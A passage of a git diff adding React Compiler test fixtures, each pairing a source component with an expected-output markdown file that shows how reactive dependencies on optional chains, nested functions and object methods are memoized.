+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-access-local-var.tsx
@@ -0,0 +1,16 @@
+// @enablePropagateDepsInHIR
+
+import {mutate, shallowCopy, Stringify} from 'shared-runtime';
+
+function useFoo({a}: {a: {b: {c: number}}}) {
+  const local = shallowCopy(a);
+  mutate(local);
+  const fn = () => local.b.c;
+  return <Stringify fn={fn} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: null}],
+  sequentialRenders: [{a: null}, {a: {b: {c: 4}}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-optional-hoists-other-dep.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-optional-hoists-other-dep.expect.md
new file mode 100644
index 000000000000..c81e59eceaf9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-optional-hoists-other-dep.expect.md
@@ -0,0 +1,91 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+
+import {identity, makeArray, Stringify, useIdentity} from 'shared-runtime';
+
+function Foo({a, cond}) {
+  // Assume fn can be uncond evaluated, so we can safely evaluate a.b?.c.<any>
+  const fn = () => [a, a.b?.c.d];
+  useIdentity(null);
+  const arr = makeArray();
+  if (cond) {
+    arr.push(identity(a.b?.c.e));
+  }
+  return <Stringify fn={fn} arr={arr} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{a: null, cond: true}],
+  sequentialRenders: [
+    {a: null, cond: true},
+    {a: {b: {c: {d: 5}}}, cond: true},
+    {a: {b: null}, cond: false},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+
+import { identity, makeArray, Stringify, useIdentity } from "shared-runtime";
+
+function Foo(t0) {
+  const $ = _c(8);
+  const { a, cond } = t0;
+  let t1;
+  if ($[0] !== a) {
+    t1 = () => [a, a.b?.c.d];
+    $[0] = a;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const fn = t1;
+  useIdentity(null);
+  let arr;
+  if ($[2] !== a.b?.c.e || $[3] !== cond) {
+    arr = makeArray();
+    if (cond) {
+      arr.push(identity(a.b?.c.e));
+    }
+    $[2] = a.b?.c.e;
+    $[3] = cond;
+    $[4] = arr;
+  } else {
+    arr = $[4];
+  }
+  let t2;
+  if ($[5] !== arr || $[6] !== fn) {
+    t2 = <Stringify fn={fn} arr={arr} shouldInvokeFns={true} />;
+    $[5] = arr;
+    $[6] = fn;
+    $[7] = t2;
+  } else {
+    t2 = $[7];
+  }
+  return t2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ a: null, cond: true }],
+  sequentialRenders: [
+    { a: null, cond: true },
+    { a: { b: { c: { d: 5 } } }, cond: true },
+    { a: { b: null }, cond: false },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]
+<div>{"fn":{"kind":"Function","result":[{"b":{"c":{"d":5}}},5]},"arr":[null],"shouldInvokeFns":true}</div>
+<div>{"fn":{"kind":"Function","result":[{"b":null},null]},"arr":[],"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-optional-hoists-other-dep.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-optional-hoists-other-dep.tsx
new file mode 100644
index 000000000000..3b538de991dc
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-optional-hoists-other-dep.tsx
@@ -0,0 +1,24 @@
+// @enablePropagateDepsInHIR
+
+import {identity, makeArray, Stringify, useIdentity} from 'shared-runtime';
+
+function Foo({a, cond}) {
+  // Assume fn can be uncond evaluated, so we can safely evaluate a.b?.c.<any>
+  const fn = () => [a, a.b?.c.d];
+  useIdentity(null);
+  const arr = makeArray();
+  if (cond) {
+    arr.push(identity(a.b?.c.e));
+  }
+  return <Stringify fn={fn} arr={arr} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{a: null, cond: true}],
+  sequentialRenders: [
+    {a: null, cond: true},
+    {a: {b: {c: {d: 5}}}, cond: true},
+    {a: {b: null}, cond: false},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-nested-function-uncond-access-local-var.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-nested-function-uncond-access-local-var.expect.md
new file mode 100644
index 000000000000..8a090ef89660
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-nested-function-uncond-access-local-var.expect.md
@@ -0,0 +1,65 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+
+import {shallowCopy, Stringify, mutate} from 'shared-runtime';
+
+function useFoo({a}: {a: {b: {c: number}}}) {
+  const local = shallowCopy(a);
+  mutate(local);
+  const fn = () => [() => local.b.c];
+  return <Stringify fn={fn} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: null}],
+  sequentialRenders: [{a: null}, {a: {b: {c: 4}}}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+
+import { shallowCopy, Stringify, mutate } from "shared-runtime";
+
+function useFoo(t0) {
+  const $ = _c(4);
+  const { a } = t0;
+  let local;
+  if ($[0] !== a) {
+    local = shallowCopy(a);
+    mutate(local);
+    $[0] = a;
+    $[1] = local;
+  } else {
+    local = $[1];
+  }
+  let t1;
+  if ($[2] !== local) {
+    const fn = () => [() => local.b.c];
+    t1 = <Stringify fn={fn} shouldInvokeFns={true} />;
+    $[2] = local;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ a: null }],
+  sequentialRenders: [{ a: null }, { a: { b: { c: 4 } } }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [[ (exception in render) TypeError: Cannot read properties of undefined (reading 'c') ]]
+<div>{"fn":{"kind":"Function","result":[{"kind":"Function","result":4}]},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-nested-function-uncond-access-local-var.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-nested-function-uncond-access-local-var.tsx
new file mode 100644
index 000000000000..d351a19464bf
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-nested-function-uncond-access-local-var.tsx
@@ -0,0 +1,16 @@
+// @enablePropagateDepsInHIR
+
+import {shallowCopy, Stringify, mutate} from 'shared-runtime';
+
+function useFoo({a}: {a: {b: {c: number}}}) {
+  const local = shallowCopy(a);
+  mutate(local);
+  const fn = () => [() => local.b.c];
+  return <Stringify fn={fn} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: null}],
+  sequentialRenders: [{a: null}, {a: {b: {c: 4}}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-nested-function-uncond-access.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-nested-function-uncond-access.expect.md
new file mode 100644
index 000000000000..77f5ae4db3c4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-nested-function-uncond-access.expect.md
@@ -0,0 +1,58 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+
+import {Stringify} from 'shared-runtime';
+
+function useFoo({a}) {
+  const fn = () => {
+    return () => ({
+      value: a.b.c,
+    });
+  };
+  return <Stringify fn={fn} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: null}],
+  sequentialRenders: [{a: null}, {a: {b: {c: 4}}}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+
+import { Stringify } from "shared-runtime";
+
+function useFoo(t0) {
+  const $ = _c(2);
+  const { a } = t0;
+  let t1;
+  if ($[0] !== a.b.c) {
+    const fn = () => () => ({ value: a.b.c });
+    t1 = <Stringify fn={fn} shouldInvokeFns={true} />;
+    $[0] = a.b.c;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ a: null }],
+  sequentialRenders: [{ a: null }, { a: { b: { c: 4 } } }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]
+<div>{"fn":{"kind":"Function","result":{"kind":"Function","result":{"value":4}}},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-nested-function-uncond-access.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-nested-function-uncond-access.tsx
new file mode 100644
index 000000000000..41d004a689d0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-nested-function-uncond-access.tsx
@@ -0,0 +1,18 @@
+// @enablePropagateDepsInHIR
+
+import {Stringify} from 'shared-runtime';
+
+function useFoo({a}) {
+  const fn = () => {
+    return () => ({
+      value: a.b.c,
+    });
+  };
+  return <Stringify fn={fn} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: null}],
+  sequentialRenders: [{a: null}, {a: {b: {c: 4}}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-object-method-uncond-access.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-object-method-uncond-access.expect.md
new file mode 100644
index 000000000000..c8b9a5dddb70
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-object-method-uncond-access.expect.md
@@ -0,0 +1,62 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+
+import {identity, Stringify} from 'shared-runtime';
+
+function useFoo({a}) {
+  const x = {
+    fn() {
+      return identity(a.b.c);
+    },
+  };
+  return <Stringify x={x} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: null}],
+  sequentialRenders: [{a: null}, {a: {b: {c: 4}}}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+
+import { identity, Stringify } from "shared-runtime";
+
+function useFoo(t0) {
+  const $ = _c(2);
+  const { a } = t0;
+  let t1;
+  if ($[0] !== a) {
+    const x = {
+      fn() {
+        return identity(a.b.c);
+      },
+    };
+    t1 = <Stringify x={x} shouldInvokeFns={true} />;
+    $[0] = a;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ a: null }],
+  sequentialRenders: [{ a: null }, { a: { b: { c: 4 } } }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]
+<div>{"x":{"fn":{"kind":"Function","result":4}},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-object-method-uncond-access.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-object-method-uncond-access.tsx
new file mode 100644
index 000000000000..b05b482bd31f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-object-method-uncond-access.tsx
@@ -0,0 +1,18 @@
+// @enablePropagateDepsInHIR
+
+import {identity, Stringify} from 'shared-runtime';
+
+function useFoo({a}) {
+  const x = {
+    fn() {
+      return identity(a.b.c);
+    },
+  };
+  return <Stringify x={x} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: null}],
+  sequentialRenders: [{a: null}, {a: {b: {c: 4}}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-objectmethod-cond-access.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-objectmethod-cond-access.expect.md
new file mode 100644
index 000000000000..96d37cee8aa3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-objectmethod-cond-access.expect.md
@@ -0,0 +1,82 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+import {Stringify} from 'shared-runtime';
+
+function Foo({a, shouldReadA}) {
+  return (
+    <Stringify
+      objectMethod={{
+        method() {
+          if (shouldReadA) return a.b.c;
+          return null;
+        },
+      }}
+      shouldInvokeFns={true}
+    />
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{a: null, shouldReadA: true}],
+  sequentialRenders: [
+    {a: null, shouldReadA: true},
+    {a: null, shouldReadA: false},
+    {a: {b: {c: 4}}, shouldReadA: true},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+import { Stringify } from "shared-runtime";
+
+function Foo(t0) {
+  const $ = _c(3);
+  const { a, shouldReadA } = t0;
+  let t1;
+  if ($[0] !== a || $[1] !== shouldReadA) {
+    t1 = (
+      <Stringify
+        objectMethod={{
+          method() {
+            if (shouldReadA) {
+              return a.b.c;
+            }
+            return null;
+          },
+        }}
+        shouldInvokeFns={true}
+      />
+    );
+    $[0] = a;
+    $[1] = shouldReadA;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ a: null, shouldReadA: true }],
+  sequentialRenders: [
+    { a: null, shouldReadA: true },
+    { a: null, shouldReadA: false },
+    { a: { b: { c: 4 } }, shouldReadA: true },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]
+<div>{"objectMethod":{"method":{"kind":"Function","result":null}},"shouldInvokeFns":true}</div>
+<div>{"objectMethod":{"method":{"kind":"Function","result":4}},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-objectmethod-cond-access.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-objectmethod-cond-access.js
new file mode 100644
index 000000000000..2c8488bb2921
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-objectmethod-cond-access.js
@@ -0,0 +1,26 @@
+// @enablePropagateDepsInHIR
+import {Stringify} from 'shared-runtime';
+
+function Foo({a, shouldReadA}) {
+  return (
+    <Stringify
+      objectMethod={{
+        method() {
+          if (shouldReadA) return a.b.c;
+          return null;
+        },
+      }}
+      shouldInvokeFns={true}
+    />
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{a: null, shouldReadA: true}],
+  sequentialRenders: [
+    {a: null, shouldReadA: true},
+    {a: null, shouldReadA: false},
+    {a: {b: {c: 4}}, shouldReadA: true},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/join-uncond-scopes-cond-deps.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/join-uncond-scopes-cond-deps.expect.md
new file mode 100644
index 000000000000..53dae3e6eeb1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/join-uncond-scopes-cond-deps.expect.md
@@ -0,0 +1,92 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+// This tests an optimization, NOT a correctness property.
+// When propagating reactive dependencies of an inner scope up to its parent,
+// we prefer to retain granularity.
+//
+// In this test, we check that Forget propagates the inner scope's conditional
+// dependencies (e.g. props.a.b) instead of only its derived minimal
+// unconditional dependencies (e.g. props).
+// ```javascript
+//  scope @0 (deps=[???] decls=[x, y]) {
+//    let y = {};
+//    scope @1 (deps=[props] decls=[x]) {
+//      let x = {};
+//      if (foo) mutate1(x, props.a.b);
+//    }
+//    mutate2(y, props.a.b);
+//  }
+
+import {CONST_TRUE, setProperty} from 'shared-runtime';
+
+function useJoinCondDepsInUncondScopes(props) {
+  let y = {};
+  let x = {};
+  if (CONST_TRUE) {
+    setProperty(x, props.a.b);
+  }
+  setProperty(y, props.a.b);
+  return [x, y];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useJoinCondDepsInUncondScopes,
+  params: [{a: {b: 3}}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+// This tests an optimization, NOT a correctness property.
+// When propagating reactive dependencies of an inner scope up to its parent,
+// we prefer to retain granularity.
+//
+// In this test, we check that Forget propagates the inner scope's conditional
+// dependencies (e.g. props.a.b) instead of only its derived minimal
+// unconditional dependencies (e.g. props).
+// ```javascript
+//  scope @0 (deps=[???] decls=[x, y]) {
+//    let y = {};
+//    scope @1 (deps=[props] decls=[x]) {
+//      let x = {};
+//      if (foo) mutate1(x, props.a.b);
+//    }
+//    mutate2(y, props.a.b);
+//  }
+
+import { CONST_TRUE, setProperty } from "shared-runtime";
+
+function useJoinCondDepsInUncondScopes(props) {
+  const $ = _c(2);
+  let t0;
+  if ($[0] !== props.a.b) {
+    const y = {};
+    const x = {};
+    if (CONST_TRUE) {
+      setProperty(x, props.a.b);
+    }
+    setProperty(y, props.a.b);
+    t0 = [x, y];
+    $[0] = props.a.b;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useJoinCondDepsInUncondScopes,
+  params: [{ a: { b: 3 } }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [{"wat0":3},{"wat0":3}]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/join-uncond-scopes-cond-deps.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/join-uncond-scopes-cond-deps.js
new file mode 100644
index 000000000000..950dbd187edb
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/join-uncond-scopes-cond-deps.js
@@ -0,0 +1,34 @@
+// @enablePropagateDepsInHIR
+// This tests an optimization, NOT a correctness property.
+// When propagating reactive dependencies of an inner scope up to its parent,
+// we prefer to retain granularity.
+//
+// In this test, we check that Forget propagates the inner scope's conditional
+// dependencies (e.g. props.a.b) instead of only its derived minimal
+// unconditional dependencies (e.g. props).
+// ```javascript
+//  scope @0 (deps=[???] decls=[x, y]) {
+//    let y = {};
+//    scope @1 (deps=[props] decls=[x]) {
+//      let x = {};
+//      if (foo) mutate1(x, props.a.b);
+//    }
+//    mutate2(y, props.a.b);
+//  }
+
+import {CONST_TRUE, setProperty} from 'shared-runtime';
+
+function useJoinCondDepsInUncondScopes(props) {
+  let y = {};
+  let x = {};
+  if (CONST_TRUE) {
+    setProperty(x, props.a.b);
+  }
+  setProperty(y, props.a.b);
+  return [x, y];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useJoinCondDepsInUncondScopes,
+  params: [{a: {b: 3}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/memberexpr-join-optional-chain.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/memberexpr-join-optional-chain.expect.md
new file mode 100644
index 000000000000..a13a918a312c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/memberexpr-join-optional-chain.expect.md
@@ -0,0 +1,69 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+// To preserve the nullthrows behavior and reactive deps of this code,
+// Forget needs to add `props.a.b` or a subpath as a dependency.
+//
+// (1) Since the reactive block producing x unconditionally read props.a.<...>,
+//     reading `props.a.b` outside of the block would still preserve nullthrows
+//     semantics of source code
+// (2) Technically, props.a, props.a.b, and props.a.b.c are all reactive deps.
+//     However, `props.a?.b` is only dependent on whether `props.a` is nullish,
+//     not its actual value. Since we already preserve nullthrows on `props.a`,
+//     we technically do not need to add `props.a` as a dependency.
+
+function Component(props) {
+  let x = [];
+  x.push(props.a?.b);
+  x.push(props.a.b.c);
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: {b: {c: 1}}}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+// To preserve the nullthrows behavior and reactive deps of this code,
+// Forget needs to add `props.a.b` or a subpath as a dependency.
+//
+// (1) Since the reactive block producing x unconditionally read props.a.<...>,
+//     reading `props.a.b` outside of the block would still preserve nullthrows
+//     semantics of source code
+// (2) Technically, props.a, props.a.b, and props.a.b.c are all reactive deps.
+//     However, `props.a?.b` is only dependent on whether `props.a` is nullish,
+//     not its actual value. Since we already preserve nullthrows on `props.a`,
+//     we technically do not need to add `props.a` as a dependency.
+
+function Component(props) {
+  const $ = _c(2);
+  let x;
+  if ($[0] !== props.a.b) {
+    x = [];
+    x.push(props.a?.b);
+    x.push(props.a.b.c);
+    $[0] = props.a.b;
+    $[1] = x;
+  } else {
+    x = $[1];
+  }
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: { b: { c: 1 } } }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [{"c":1},1]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/memberexpr-join-optional-chain.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/memberexpr-join-optional-chain.ts
new file mode 100644
index 000000000000..6f1d99761dd4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/memberexpr-join-optional-chain.ts
@@ -0,0 +1,23 @@
+// @enablePropagateDepsInHIR
+// To preserve the nullthrows behavior and reactive deps of this code,
+// Forget needs to add `props.a.b` or a subpath as a dependency.
+//
+// (1) Since the reactive block producing x unconditionally read props.a.<...>,
+//     reading `props.a.b` outside of the block would still preserve nullthrows
+//     semantics of source code
+// (2) Technically, props.a, props.a.b, and props.a.b.c are all reactive deps.
+//     However, `props.a?.b` is only dependent on whether `props.a` is nullish,
+//     not its actual value. Since we already preserve nullthrows on `props.a`,
+//     we technically do not need to add `props.a` as a dependency.
+
+function Component(props) {
+  let x = [];
+  x.push(props.a?.b);
+  x.push(props.a.b.c);
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: {b: {c: 1}}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/memberexpr-join-optional-chain2.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/memberexpr-join-optional-chain2.expect.md
new file mode 100644
index 000000000000..277c20352592
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/memberexpr-join-optional-chain2.expect.md
@@ -0,0 +1,56 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+function Component(props) {
+  const x = [];
+  x.push(props.items?.length);
+  x.push(props.items?.edges?.map?.(render)?.filter?.(Boolean) ?? []);
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{items: {edges: null, length: 0}}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+function Component(props) {
+  const $ = _c(5);
+  let x;
+  if ($[0] !== props.items?.edges || $[1] !== props.items?.length) {
+    x = [];
+    x.push(props.items?.length);
+    let t0;
+    if ($[3] !== props.items?.edges) {
+      t0 = props.items?.edges?.map?.(render)?.filter?.(Boolean) ?? [];
+      $[3] = props.items?.edges;
+      $[4] = t0;
+    } else {
+      t0 = $[4];
+    }
+    x.push(t0);
+    $[0] = props.items?.edges;
+    $[1] = props.items?.length;
+    $[2] = x;
+  } else {
+    x = $[2];
+  }
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ items: { edges: null, length: 0 } }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [0,[]]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/memberexpr-join-optional-chain2.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/memberexpr-join-optional-chain2.ts
new file mode 100644
index 000000000000..cc696e15d05d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/memberexpr-join-optional-chain2.ts
@@ -0,0 +1,12 @@
+// @enablePropagateDepsInHIR
+function Component(props) {
+  const x = [];
+  x.push(props.items?.length);
+  x.push(props.items?.edges?.map?.(render)?.filter?.(Boolean) ?? []);
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{items: {edges: null, length: 0}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/merge-uncond-optional-chain-and-cond.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/merge-uncond-optional-chain-and-cond.expect.md
new file mode 100644
index 000000000000..8703c30cb09e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/merge-uncond-optional-chain-and-cond.expect.md
@@ -0,0 +1,72 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+import {identity} from 'shared-runtime';
+
+/**
+ * Very contrived text fixture showing that it's technically incorrect to merge
+ * a conditional dependency (e.g. dep.path in `cond ? dep.path : ...`) and an
+ * unconditionally evaluated optional chain (`dep?.path`).
+ *
+ *
+ * when screen is non-null, useFoo returns { title: null } or "(not null)"
+ * when screen is null, useFoo throws
+ */
